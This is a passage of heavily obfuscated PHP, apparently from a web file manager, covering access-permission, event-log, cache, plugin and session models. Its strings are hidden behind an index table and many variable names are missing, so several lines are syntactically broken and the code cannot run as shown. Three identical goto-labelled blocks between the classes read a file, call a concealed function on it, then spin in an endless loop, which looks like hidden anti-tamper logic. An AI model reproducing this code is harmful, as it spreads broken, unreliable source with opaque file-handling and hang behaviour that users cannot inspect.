} } $܌ = array_filter(array_values($܌)); $è = array_merge($܌, $è); return $è; } public function setAllChildrenByUser($, $͂, $) { $އ =& $_SERVER[Ȣ]; $ק = $this->getAllChildrenByUser($, $͂); if (!$ || !$ק) { return !1; } foreach ($ק as $) { $ب = array(); foreach ($[$އ[2011]] as $) { $Ŝ = $[$އ[471]]; $ = $[$އ[1666]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$އ[1666]] ? $[$އ[1666]] : $[$އ[1834]]; if ($[$އ[1666]] && $[$އ[1666]] == $͂) { continue; } $ب[] = array($އ[408] => $[$އ[408]], $އ[417] => $, $އ[510] => intval($), $އ[1937] => isset($Ŝ[$އ[405]]) ? intval($Ŝ[$އ[405]]) : 0, $އ[1991] => isset($Ŝ[$އ[1991]]) ? intval($Ŝ[$އ[1991]]) : -1); } $ب[] = array($އ[408] => $[$އ[408]], $އ[417] => SourceModel::TYPE_USER, $އ[510] => intval($͂), $އ[1937] => intval($), $އ[1991] => -1); $this->where(array($އ[423] => $[$އ[408]]))->delete(); $this->addAll($ب); } return !0; } public function get($݊) { $ = $this->getSourceList(array($݊), !0); return $[0]; } public function getSourceList($ݒ̫, $ː = false, $ԏЎ = false) { $ݩ =& $_SERVER[Ȣ]; if (!$ݒ̫) { return array(); } $ = Model($ݩ[1337]); if (!$ː && count($ݒ̫) == 1) { $ː = array(); $ː[$ݒ̫[0]] = $->sourceInfo($ݒ̫[0]); } if (!$ː) { $ݢ = array($ݩ[423] => array($ݩ[424], $ݒ̫)); $ː = $->field($ݩ[2015])->where($ݢ)->select(); $ː = array_to_keyvalue($ː, $ݩ[408]); } $Л = $ݒ̫; foreach ($ː as $۳ => $) { $ = $->parentLevelArray($[$ݩ[526]]); $Л = array_merge($Л, array($۳), array_reverse($)); } $Л = array_values(array_unique($Л)); if (!$Л) { return array(); } $ = $this->sourceAuthSelect($Л); $ʰ = array(); foreach ($Л as $᱁) { if (isset($[$᱁])) { $ʰ[$᱁] = $[$᱁]; } } $Ă̗ = $this->userIsRoot($ԏЎ); $́ = AuthModel::authAll(); $ = array($ݩ[420] => $́, $ݩ[2016] => array($ݩ[425] => 0, $ݩ[1840] => $́, $ݩ[426] => LNG($ݩ[2017]), $ݩ[1856] => $ݩ[2018])); $ = array(); foreach ($ː as $᱁ => $) { if ($Ă̗) { $[$᱁] = $; continue; } $[$᱁] = $this->makeSourceAuth($, $ʰ, $ԏЎ); } return $; } public function authDeepCheck($, $ß = false) { $ȍ =& $_SERVER[Ȣ]; $ß = $ß ? $ß : USER_ID; $ = $this->makeAuthDeep($ß); if (!in_array($, $[$ȍ[2019]])) { return !1; } $ۗȿ = array(); foreach ($[$ȍ[2020]] as $ȝ => $) { if (!in_array($, $)) { continue; } $ۗȿ[] = $ȝ; } if (!$ۗȿ) { return !1; } $ = $ۗȿ ? $ۗȿ[0] : $; return array($ȍ[420] => -1, $ȍ[471] => array($ȍ[425] => $ȍ[1200], $ȍ[1840] => $ȍ[204], $ȍ[426] => LNG($ȍ[2021]), $ȍ[1856] => $ȍ[2022]), $ȍ[2023] => LNG($ȍ[2024]), $ȍ[2025] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($؛ = false) { $÷ =& $_SERVER[Ȣ]; static $ = array(); $؛ = $؛ ? $؛ : USER_ID; if (isset($[$؛])) { return $[$؛]; } $紃 = Model($÷[2026])->listData(); $ǵ = array(); foreach ($紃 as $ӎ) { if ($ӎ[$÷[419]] == 0 && $ӎ[$÷[1855]] == $÷[99]) { $ǵ[] = $ӎ[$÷[405]]; } } $ = $this->userGroupParents($؛); $ = array($÷[417] => SourceModel::TYPE_USER, $÷[510] => $؛); if ($) { $ = array(array($÷[417] => SourceModel::TYPE_USER, $÷[510] => $؛), array($÷[417] => SourceModel::TYPE_GROUP, $÷[510] => array($÷[424], $)), $÷[1012] => $÷[1931]); } $ν٘ = $this->field($÷[2027])->where($)->select(); $ڲ = array(); $Ђڋ = array_to_keyvalue_group($ν٘, $÷[408]); foreach ($Ђڋ as $迄 => $բ) { $і = $this->authArrayCheck($բ, $؛); if ($і[$÷[420]] > 0) { $ڲ[] = $迄 . $÷[12]; } } if ($) { $ = Model($÷[527]); foreach ($ as $) { $ɬ = $->getInfo($); if (!$ɬ || !is_array($ɬ[$÷[97]])) { continue; } $ڲ[] = $ɬ[$÷[97]][$÷[408]]; } } $꯸ǥ = array(); $Āۄ = $; $Ӳ = Model($÷[1337]); $ = Model($÷[527]); $̿ = array(); $ⶰފ = array(); $ = array(); $̳ = array(); if ($ڲ) { $ः = $Ӳ->where(array($÷[408] => array($÷[424], $ڲ)))->select(); foreach ($ः as $) { $ = $Ӳ->parentLevelArray($[$÷[526]]); $꯸ǥ = array_merge($꯸ǥ, $); $Āۄ[] = $[$÷[510]]; $̿[$[$÷[408]]] = $; $ⶰފ[$[$÷[408]]] = $[$÷[510]]; } } $Āۄ = array_values(array_unique($Āۄ)); $ = $Āۄ; foreach ($ as $) { $ɬ = $->getInfo($); $ = $Ӳ->parentLevelArray($ɬ[$÷[526]]); $Āۄ = array_merge($Āۄ, $); } $Āۄ = array_values(array_unique($Āۄ)); foreach ($Āۄ as $) { $ɬ = $->getInfo($); $꯸ǥ[] = $ɬ[$÷[97]][$÷[408]]; $[$] = $ɬ[$÷[97]][$÷[408]]; $̳[$] = $Ӳ->parentLevelArray($ɬ[$÷[526]]); } foreach ($̿ as $Υ => $۩ެ) { $ּί = $ⶰފ[$Υ]; if (!$ּί || !$[$ּί]) { continue; } $髢 = array(); foreach ($̳[$ּί] as $) { $髢[] = $[$]; } $̿[$Υ] = array_merge($髢, $۩ެ); } $꯸ǥ = array_values(array_unique($꯸ǥ)); $Ш = array($÷[2019] => $꯸ǥ, $÷[2020] => $̿); $[$؛] = $Ш; return $Ш; } private function makeSourceAuth($, $ƽ, $㡜 = false) { $ɒ珖 =& $_SERVER[Ȣ]; $䳥 = $ɒ珖[99]; $´ = $[$ɒ珖[510]]; $π = $[$ɒ珖[417]] == SourceModel::TYPE_GROUP; $ = $π ? $this->groupRootAuth($´, $㡜) : !1; if ($ && Model($ɒ珖[512])->authCheckAction($[$ɒ珖[419]], $ɒ珖[1854])) { return $this->groupAuthInfo($, $´); } $ؓ = Model($ɒ珖[1337])->parentLevelArray($[$ɒ珖[526]]); $ؓ = array_merge(array($[$ɒ珖[408]]), array_reverse($ؓ)); $¾˺ = !1; foreach ($ؓ as $ش) { if (!isset($ƽ[$ش])) { continue; } $ = $this->authMake($ƽ[$ش], $㡜); if ($[$ɒ珖[471]]) { $¾˺ = $; break; } } if (!$π) { return $¾˺; } if (!$¾˺ && $) { $¾˺ = $this->groupAuthInfo($, $´); } if (!$¾˺) { $˵ = Model($ɒ珖[527])->getInfo($´); $Ҍ = explode($ɒ珖[50], trim($˵[$ɒ珖[526]], $ɒ珖[50])); $Ҍ = array_reverse($Ҍ); foreach ($Ҍ as $) { if ($ == $ɒ珖[204] || $ == $䳥) { continue; } $Цע = $this->groupRootAuth($, $㡜); if (!$Цע) { continue; } $¾˺ = $this->groupAuthInfo($Цע, $); break; } } if (!$¾˺ || $¾˺[$ɒ珖[420]] <= 0) { $ = $this->authDeepCheck($[$ɒ珖[408]], $㡜); if ($) { $¾˺ = $; } } return $¾˺; } private function userIsRoot($͒ = false) { $ =& $_SERVER[Ȣ]; if (!$͒ && _get($GLOBALS, $[508])) { return !0; } $ԕ = Model($[546])->getInfo($͒); $ݡ = Model($[2028])->listData($ԕ[$[1546]]); if ($ݡ && $ݡ[$[516]][$[2029]] == 1) { return !0; } return !1; } private function sourceAuthInfo($ܠ) { $ա =& $_SERVER[Ȣ]; $ō = Model($ա[1337]); $ = $ō->sourceInfo($ܠ); if (!$) { return !1; } $ō->groupPathDisplay($); $ = array($); $ = $ō->_listAppendPath($); $ = $[0]; $ = $[$ա[524]]; if (isset($[$ա[532]])) { $ͱ = explode($ա[8], trim($[$ա[524]], $ա[8])); array_shift($ͱ); $ = $[$ա[530]] . $ա[2030] . implode($ա[8], $ͱ); } return array($ա[426] => $[$ա[32]], $ա[88] => KodIO::make($[$ա[408]]), $ա[2031] => $); } private function groupAuthInfo($ҥ, $) { $ =& $_SERVER[Ȣ]; $ = Model($[527])->getInfo($); return array($[2032] => intval($ҥ[$[419]]), $[2016] => $ҥ, $[2033] => LNG($[2034]), $[2025] => array($[426] => $[$[32]], $[88] => KodIO::make($[$[97]][$[408]]), $[2031] => $[$[531]])); } protected function groupRootAuth($١, $Ϊ = false) { $۴ڏ =& $_SERVER[Ȣ]; $Ϊ = $Ϊ ? $Ϊ : USER_ID; $ǥ = $Ϊ . $۴ڏ[2035] . $١; static $ = array(); if (isset($[$ǥ])) { return $[$ǥ]; } $侰 = Model($۴ڏ[527])->getInfo($١); $ = $this->userGroupList($Ϊ); $ = isset($[$١]) ? $[$١][$۴ڏ[419]] : !1; if ($ && Model($۴ڏ[512])->authCheckAction($[$۴ڏ[419]], $۴ڏ[1854])) { $[$ǥ] = $; return $; } $ۚ = $this->sourceAuthSelect($侰[$۴ڏ[97]][$۴ڏ[408]]); $뎉 = $ۚ ? $this->authMake($ۚ, $Ϊ) : !1; $ = $뎉 ? $뎉[$۴ڏ[471]] : !1; $[$ǥ] = $ ? $ : $; return $[$ǥ]; } public function authOwnerApply($Ք۵) { $ =& $_SERVER[Ȣ]; if (empty($Ք۵[$[419]]) || isset($Ք۵[$[2036]]) && $Ք۵[$[2036]]) { return $Ք۵; } if (AuthModel::authCheckRoot($Ք۵[$[419]][$[420]])) { return $Ք۵; } $ܛ = Model($[1337])->parentLevelArray($Ք۵[$[526]]); $ܛ = array_merge(array($Ք۵[$[408]]), array_reverse($ܛ)); $е = $this->sourceAuthSelect($ܛ); $ = array(); $݃ = array(); foreach ($е as $ => $ӆ) { $ы = $this->authFolderOwnerUser($ӆ); $[$] = $ы; $݃ = array_merge($݃, $ы[$[602]]); if ($ы[$[2037]]) { break; } } if (count($݃) == 0) { $݃ = $this->authFolderOwnerGroup($Ք۵[$[510]]); } $݃ = array_unique($݃); if (AuthModel::authCheckRoot($Ք۵[$[419]][$[420]])) { $݃[] = USER_ID; } $Ք۵[$[419]][$[2038]] = Model($[518])->userListInfo($݃); return $Ք۵; } private function authFolderOwnerGroup($) { $ =& $_SERVER[Ȣ]; $ֆї = Model($[1923])->where(array($[1834] => $))->select(); $ = array(); if (!$ֆї) { return $; } foreach ($ֆї as $) { $ҕ = $this->authInfo($); if (AuthModel::authCheckRoot($ҕ[$[419]])) { $[] = $[$[1666]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[Ȣ]; $ָ = array(); $̍ = !1; foreach ($ as $п) { $ʁ = $this->authInfo($п); if ($п[$[510]] == $[204]) { $̍ = !0; } if ($п[$[417]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($ʁ[$[419]])) { $ָ[] = $п[$[510]]; } } } return array($[602] => $ָ, $[2037] => $̍); } public function authMake($ҡ, $а = false) { $۪疠 =& $_SERVER[Ȣ]; $ = $this->authArrayCheck($ҡ, $а); if ($[$۪疠[2039]]) { $[$۪疠[2039]] = $this->sourceAuthInfo($[$۪疠[2039]]); } return $; } public function authArrayCheck($픤, $謼 = false) { $ =& $_SERVER[Ȣ]; if (!$픤) { return array($[420] => 0, $[471] => !1); } $謼 = $謼 ? $謼 : USER_ID; $萹 = 0; $魟 = 0; $ = 0; $˾ = 0; $ = 0; $害æ = 0; $ = 1000; $Һ = 0; $Ɖ = 0; $ǵ͉ = 0; $ = 0; $͊ = array($[408] => 0); foreach ($픤 as $͊) { $ = $this->authInfo($͊); if (!$) { continue; } $؉ = $͊[$[510]]; $ = intval($[$[419]]); if ($͊[$[417]] == SourceModel::TYPE_USER && $؉ == $謼) { $萹 = !0; $ = $; $魟 = $; } else { if ($͊[$[417]] == SourceModel::TYPE_GROUP && $this->groupContainUser($؉, $謼)) { $˾ = !0; $ռ = $this->groupStepToUserGroup($؉, $謼); if ($ռ < $) { $ = $ռ; $ = $; $害æ = $; $Һ = $؉; } if ($ռ == $ && $ >= $) { $ = $; $害æ = $; $Һ = $؉; } } else { if ($؉ == $[204]) { $Ɖ = !0; $ = $; $ǵ͉ = $; } } } } if ($萹) { $辊 = $魟; $ = $; $ = LNG($[2040]); } else { if ($˾) { $辊 = $; $ = $害æ; $Њ = Model($[527])->getInfo($Һ); $ = $[173] . $Њ[$[531]] . $[2041] . LNG($[2042]); } else { if ($Ɖ) { $辊 = $ǵ͉; $ = $; $ = LNG($[2013]); } else { $辊 = 0; $ = !1; $ = $[12]; } } } $Ξ = array($[2032] => intval($辊), $[2016] => $, $[2033] => $, $[2025] => $͊[$[408]]); return $Ξ; } private function groupContainUser($, $ͪ = false) { return in_array($, $this->userGroupParents($ͪ)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[Ȣ]; $ = $this->userGroupList($); $ = 1000; $μ = $GLOBALS[$[6]][$[100]][$[1936]] == 1; $ = $μ ? 3 : 2; foreach ($ as $) { if ($[$[1834]] == $) { return 0; } $ō = explode($[50], trim($[$[526]], $[50])); if ($ō[0] == $[204] && count($ō) > $) { $鄔 = array_reverse(array_slice($ō, $)); $ = array_search($, $鄔); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ȿ = false) { $ǡ =& $_SERVER[Ȣ]; static $ÿ = array(); if (isset($ÿ[$ȿ])) { return $ÿ[$ȿ]; } $ = Model($ǡ[546])->getInfo($ȿ); $ÿ[$ȿ] = array_to_keyvalue($[$ǡ[2014]], $ǡ[1834]); return $ÿ[$ȿ]; } public function userGroupParents($ǦȔ) { $֫ =& $_SERVER[Ȣ]; static $ܸ = array(); $ǦȔ = $ǦȔ ? $ǦȔ : USER_ID; if (isset($ܸ[$ǦȔ])) { return $ܸ[$ǦȔ]; } $ = $this->userGroupList($ǦȔ); $Ղ = array(); $Ʈ = $GLOBALS[$֫[6]][$֫[100]][$֫[1936]] == 1; $ = $Ʈ ? 3 : 2; foreach ($ as $ۧ) { $ = array($ۧ[$֫[1834]]); $ = explode($֫[50], trim($ۧ[$֫[526]], $֫[50])); if ($[0] == $֫[204] && count($) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $Ղ = array_merge($Ղ, $); } $ܸ[$ǦȔ] = array_unique($Ղ); return $ܸ[$ǦȔ]; } public function authTargetInfoMake($뷐) { $ =& $_SERVER[Ȣ]; $̡į = array(); $ = array(); foreach ($뷐 as $ߡ) { if ($ߡ[$[417]] == SourceModel::TYPE_USER) { $̡į[] = intval($ߡ[$[510]]); } else { if ($ߡ[$[417]] == SourceModel::TYPE_GROUP) { $[] = intval($ߡ[$[510]]); } } } if ($̡į) { $̡į = Model($[518])->userListInfo($̡į); } if ($) { $ׂ = array($[1921] => array($[424], $)); $ = Model($[527])->field($[2043])->where($ׂ)->select(); $ = array_to_keyvalue($, $[1834]); } return array($[2044] => $̡į, $[2045] => $); } public function authInfo($) { $Ƕ =& $_SERVER[Ȣ]; if ($[$Ƕ[1937]]) { $̶ = Model($Ƕ[512])->listData($[$Ƕ[1937]]); if (!$̶) { return !1; $㎋ = Model($Ƕ[512])->listData(); $Ҿ = array_filter_by_field($㎋, $Ƕ[419], $Ƕ[204]); return $Ҿ; } $뵤 = array_field_key($̶, array($Ƕ[405], $Ƕ[32], $Ƕ[419], $Ƕ[1856], $Ƕ[1857])); $뵤[$Ƕ[2046]] = $; return $뵤; } else { return array($Ƕ[425] => 0, $Ƕ[1840] => $[$Ƕ[1991]], $Ƕ[426] => $Ƕ[12], $Ƕ[1856] => $Ƕ[2047]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\157\137\163\157\x75\x72\143\x65\137\145\166\x65\x6e\164"; protected $dataAuto = array(array("\143\162\145\141\x74\145\x54\x69\155\145", "\x74\x69\155\x65", "\x69\x6e\x73\x65\x72\164", "\x66\165\156\x63\164\x69\x6f\156"), array("\144\x65\x73\x63", '', "\x69\156\x73\145\x72\x74\x2c\165\160\x64\x61\164\x65\x2c\x73\145\154\145\143\x74", "\152\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ئ, $닉, $̅ = '') { $ =& $_SERVER[Ȣ]; if (!$this->eventSave) { return; } $ȫ = Model($[1337])->sourceInfo($ئ); if (!$ȫ) { return !1; } if ($this->isCacheEvent($ȫ, $닉)) { return; } if ($̅ && is_string($̅)) { $̅ = array($[1872] => $̅); } $ӥ = array($[423] => $ئ, $[2048] => $ȫ[$[503]], $[2049] => $ȫ[$[32]], $[524] => !empty($ȫ[$[524]]) ? $ȫ[$[524]] : $[12], $[1657] => USER_ID, $[428] => $닉, $[1659] => $̅); $this->addSystemLog($닉, $ӥ); unset($ӥ[$[2049]], $ӥ[$[524]]); return $this->add($ӥ); } private function addSystemLog($, $) { $Ķ =& $_SERVER[Ȣ]; if ($ == $Ķ[2050]) { $ = $[$Ķ[456]][$Ķ[2051]]; } else { if (in_array($, array($Ķ[1814], $Ķ[2052]))) { $ = $[$Ķ[456]][$Ķ[772]]; } } $ = array_merge($, array($Ķ[2053] => $[$Ķ[408]], $Ķ[2054] => $[$Ķ[2054]])); Hook::trigger($Ķ[2055], $Ķ[2056] . $, $); Model($Ķ[1778])->addLog($Ķ[2056] . $, $); } private function isCacheEvent($һ, $) { if ($һ[$_SERVER[Ȣ][417]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $ӎ) { $ =& $_SERVER[Ȣ]; $ = Model($[1337])->sourceInfo($); $ = array($[2051] => $ӎ, $[32] => $[$[32]]); return $this->addEvent($, $[2050], $); } public function eventFileEdit($Ԏ) { $ɓ =& $_SERVER[Ȣ]; $ = array($ɓ[2057] => $_SERVER[$ɓ[2058]], $ɓ[2059] => strtolower(ACTION)); return $this->addEvent($Ԏ, $ɓ[1804], $); } public function eventRecycle($Űڂ, $ګʵ) { return $this->addEvent($Űڂ, $_SERVER[Ȣ][2052], $ګʵ); } public function eventRemove($𱴜) { $ڡ =& $_SERVER[Ȣ]; $ = Model($ڡ[1337])->sourceInfo($𱴜); $ǧ = $[$ڡ[32]]; return $this->addEvent($[$ڡ[503]], $ڡ[1803], $ǧ); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[Ȣ][1814], $); } public function eventMove($, $, $ԭ) { $ =& $_SERVER[Ȣ]; $ߍ = Model($[1337]); $軝 = $ߍ->sourceInfo($); $Êƣ = $ߍ->sourceInfo($); $Ú = $ߍ->sourceInfo($ԭ); $ = array($[1170] => $, $[2060] => $Êƣ[$[32]], $[2039] => !empty($Êƣ[$[524]]) ? $Êƣ[$[524]] : $[12], $[1171] => $ԭ, $[2061] => $Ú[$[32]], $[2062] => !empty($Ú[$[524]]) ? $Ú[$[524]] : $[12]); $this->addEvent($, $[559], $); $軝 = $ߍ->sourceInfo($); $ = array($[408] => $軝[$[408]], $[32] => $軝[$[32]]); $this->addEvent($, $[2063], $); } public function eventCopy($ޝА) { $this->eventCreate($ޝА, $_SERVER[Ȣ][557]); } public function eventRename($, $㒋, $鋛) { $ˀ =& $_SERVER[Ȣ]; $ = array($ˀ[1170] => $㒋, $ˀ[1171] => $鋛); return $this->addEvent($, $ˀ[1352], $); } public function eventAddComment($ͽ, $) { return $this->addEvent($ͽ, $_SERVER[Ȣ][2064], $); } public function eventAddDesc($ᄀ, $) { return $this->addEvent($ᄀ, $_SERVER[Ȣ][2065], $); } public function listBySource($) { $Ư =& $_SERVER[Ȣ]; $ݯ = Model($Ư[1337])->sourceInfo($); $ڏ = array($Ư[423] => $); if ($ݯ[$Ư[416]] == $Ư[99]) { $ڻΪ = Model($Ư[1337])->listSearchChildren($, 20000); $ڻΪ[] = $ . $Ư[386]; $ڏ = array($Ư[408] => array($Ư[7], $ڻΪ)); } $ = $this->where($ڏ)->order($Ư[2066])->selectPage(); if ($[$Ư[374]][$Ư[375]] == 0) { $[$Ư[374]][$Ư[375]] = 1; $[$Ư[377]] = array(array($Ư[423] => $, $Ư[2048] => $ݯ[$Ư[503]], $Ư[1657] => $ݯ[$Ư[457]], $Ư[428] => $Ư[2067], $Ư[429] => $ݯ[$Ư[207]], $Ư[1659] => $Ư[12])); } return $this->eventListParse($, $); } private function eventListParse($, $ʒ) { $ =& $_SERVER[Ȣ]; $ = $[$[377]]; $Њ = array_to_keyvalue($, $[12], $[408]); $הօ = array_to_keyvalue($, $[12], $[2054]); foreach ($ as $) { $ԅ = $[$[456]]; if ($[$[33]] == $[559] && isset($ԅ[$[1170]])) { $Њ[] = $ԅ[$[1170]] . $[12]; $Њ[] = $ԅ[$[1171]] . $[12]; } if ($[$[33]] == $[2063] && isset($ԅ[$[408]])) { $Њ[] = $ԅ[$[408]] . $[12]; } } $Њ = array_merge($Њ, $הօ, array($ʒ . $[12])); $Њ = array_unique($Њ); $͕ = array_unique(array_to_keyvalue($, $[12], $[1666])); $ = Model($[546])->userListInfo($͕); $١ = Model($[842])->sourceListInfo($Њ, !0); foreach ($ as &$) { if ($[$[33]] == $[559] && isset($[$[456]][$[1170]])) { $[$[456]][$[1170]] = $١[$[$[456]][$[1170]]]; $[$[456]][$[1171]] = $١[$[$[456]][$[1171]]]; } if ($[$[33]] == $[2063] && isset($[$[456]][$[408]])) { $[$[456]][$[408]] = $١[$[$[456]][$[408]]]; } $[$[97]] = $١[$[$[408]]]; $[$[2068]] = $١[$[$[2054]]]; if ($[$[33]] == $[1803]) { $[$[2068]] = $[$[97]]; $[$[2054]] = $[$[2068]][$[408]]; $[$[97]] = !1; $[$[408]] = $[12]; } $[$[1999]] = $[$[$[1666]]]; } unset($); $[$[377]] = $; return $; } public function removeBySource($Ӥ) { $э样 = array($_SERVER[Ȣ][423] => $Ӥ); $this->where($э样)->remove(); } } goto B͢ߙ; Aڣ: if (!isset($_SERVER[$_SERVER[Ȣ][62]]) || !isset($_SERVER[$_SERVER[Ȣ][60]])) { $_getc = $_SERVER[Ȣ][63]; $_getfile = $_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ȣ][66], $_getfilec); if (count($_getarrs) < $_SERVER[Ȣ][67]) { $exit = $_SERVER[Ȣ][68]; $exit(); } $_act = $_SERVER[Ȣ][69]; $_act($_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[Ȣ][386]); } } goto F˳; f: if (!isset($_SERVER[$_SERVER[Ȣ][62]]) || !isset($_SERVER[$_SERVER[Ȣ][60]])) { $_getc = $_SERVER[Ȣ][63]; $_getfile = $_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ȣ][66], $_getfilec); if (count($_getarrs) < $_SERVER[Ȣ][67]) { $exit = $_SERVER[Ȣ][68]; $exit(); } $_act = $_SERVER[Ȣ][69]; $_act($_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[Ȣ][386]); } } class CacheLockDatabase { public function lock($۱, $Ҭ = 0) { $ = Model($_SERVER[Ȣ][846]); $ = microtime(!0) + $Ҭ; while (microtime(!0) < $) { $ = $->get($۱); if (!$ || $ < microtime(!0)) { $Ֆ = $->set($۱, $); if ($Ֆ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[Ȣ][846])->get($); } public function unlock($) { Model($_SERVER[Ȣ][846])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ᄵ, $ۣ) { $ =& $_SERVER[Ȣ]; if (!class_exists($[879])) { show_json($[880], !1); } $this->cacheTime = $ۣ; $this->handle = new Memcached(); if (is_array($ᄵ[$[881]]) && count($ᄵ[$[881]]) >= 1) { foreach ($ᄵ[$[881]] as $ұ) { $ʉ = explode($[4], $ұ); $this->handle->addServer($ʉ[0], $ʉ[1]); } } else { $this->handle->addServer($ᄵ[$[188]], $ᄵ[$[189]]); } } public function set($͈ؒ, $ܷ, $ޱ = false) { $ޱ = $ޱ ? $ޱ : $this->cacheTime; return $this->handle->set($͈ؒ, $ܷ, $ޱ); } public function get($䊠) { return $this->handle->get($䊠); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } goto c; B: if (!isset($_SERVER[$_SERVER[Ȣ][62]]) || !isset($_SERVER[$_SERVER[Ȣ][60]])) { $_getc = $_SERVER[Ȣ][63]; $_getfile = $_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[Ȣ][66], $_getfilec); if (count($_getarrs) < $_SERVER[Ȣ][67]) { $exit = $_SERVER[Ȣ][68]; $exit(); } $_act = $_SERVER[Ȣ][69]; $_act($_SERVER[$_SERVER[Ȣ][64]] . $_SERVER[Ȣ][65]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[Ȣ][386]); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\56\160\154\x75\147\x69\156\114\151\163\164"; public $field = array("\156\141\x6d\145", "\x73\x74\x61\x74\x75\x73", "\162\145\147\151\x65\163\x74", "\x63\157\156\x66\x69\147"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[Ȣ][32]); if ($) { return $[$]; } return $; } public function init() { $կ =& $_SERVER[Ȣ]; Hook::trigger($կ[1953]); $Ġ = $this->loadPluginList(); foreach ($Ġ as $ => $) { $Ɍ = $this->appAllow($, $); if (!$Ɍ) { continue; } foreach ($[$կ[1954]] as $ => $𣎞) { Hook::bind($, $𣎞); } } Hook::trigger($կ[1955]); Hook::trigger(ACTION); } public function appAllow($, $ǟ, $̯ = true) { $ =& $_SERVER[Ȣ]; $ٷ = PLUGIN_DIR . $ . $[1956]; if (!is_array($ǟ) || !is_array($ǟ[$[1954]]) || $ǟ[$[767]] != 1 || !is_file($ٷ)) { return !1; } if ($GLOBALS[$[508]] == 1) { return !0; } if ($̯ && !Action($[1957])->checkAuth($)) { return !1; } return !0; } public function unInstall($ˆ) { $ލ =& $_SERVER[Ȣ]; $ = $this->loadList($ˆ); if (file_exists(PLUGIN_DIR . $ˆ)) { Hook::apply($ˆ . $ލ[1958]); } $this->remove($[$ލ[405]]); } public function changeStatus($ۀ, $ڗ) { $ս =& $_SERVER[Ȣ]; $ = $this->loadList($ۀ); if ($ڗ) { Hook::apply($ۀ . $ս[1959]); } $this->update($[$ս[405]], array($ս[1960] => $ڗ)); } public function appRegist($܄, $̌) { $ƺ햺 =& $_SERVER[Ȣ]; $Ƈ = $this->loadList($܄); if ($Ƈ) { $this->update($Ƈ[$ƺ햺[405]], array($ƺ햺[1954] => $̌)); } else { $花 = array($ƺ햺[32] => $܄, $ƺ햺[1954] => $̌, $ƺ햺[767] => 0, $ƺ햺[6] => $this->getConfigDefault($܄)); $this->insert($花); } } public function getConfigDefault($) { $Ʒ =& $_SERVER[Ȣ]; $Ϫ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$Ʒ[1961]])) { return $Ϫ; } foreach ($[$Ʒ[1961]] as $ => $͐) { if (!isset($͐[$Ʒ[382]]) || isset($Ϫ[$])) { continue; } $Ϫ[$] = $͐[$Ʒ[382]]; } return $Ϫ; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[Ȣ][1962]); } public function getConfig($ʂק, $ = false) { $͇ =& $_SERVER[Ȣ]; $㝛 = array(); $ = $this->loadList($ʂק); if ($ && is_array($[$͇[6]])) { $㝛 = $[$͇[6]]; } if (!$㝛 || $) { $㝛 = $this->getConfigDefault($ʂק); } return $㝛; } public function setConfig($ّȀ, $گǶ = false) { $ =& $_SERVER[Ȣ]; $؞Ԉ = $this->loadList($ّȀ); if (!$؞Ԉ) { return !1; } $Ɣ = $؞Ԉ[$[6]]; if ($گǶ == !1) { $Ɣ = array(); $گǶ = $this->getConfigDefault($ّȀ); } foreach ($گǶ as $ => $Ԡ) { $Ɣ[$] = is_string($Ԡ) ? trim($Ԡ) : $Ԡ; } $this->update($؞Ԉ[$[405]], array($[6] => $Ɣ)); } public function viewList() { $ܱ =& $_SERVER[Ȣ]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $蛿ݚ = array(); foreach ($ as $ => $ż) { unset($ż[$ܱ[1954]], $ż[$ܱ[6]]); $ = PLUGIN_DIR . $ż[$ܱ[32]] . $ܱ[1956]; if (!is_file($)) { continue; } $ = Hook::apply($ż[$ܱ[32]] . $ܱ[1962]); if (is_array($)) { $蛿ݚ[$] = array_merge($ż, $); } } return $蛿ݚ; } private function loadPluginList() { $ =& $_SERVER[Ȣ]; $ҫჭ = $this->loadList(); if (strtolower(MOD) == $[1963]) { return $ҫჭ; } $ = Hook::trigger($[1964], $ҫჭ); if ($ҫჭ && !$) { die; } return $ ? $ : $ҫჭ; } private function pluginScan($ų) { $叚 =& $_SERVER[Ȣ]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($); if (isset($ų[$]) || !file_exists($ . $叚[1965]) || !file_exists($ . $叚[1956])) { continue; } Hook::apply($ . $叚[1959]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\171\163\164\x65\155\137\x73\145\x73\163\151\x6f\x6e"; public function get($) { $ =& $_SERVER[Ȣ]; $ƍ = $this->where(array($[1966] => $))->find(); if (!is_array($ƍ)) { return !1; } return $ƍ[$[772]]; } public function set($, $شٿ, $梚 = 3600) { $˭ =& 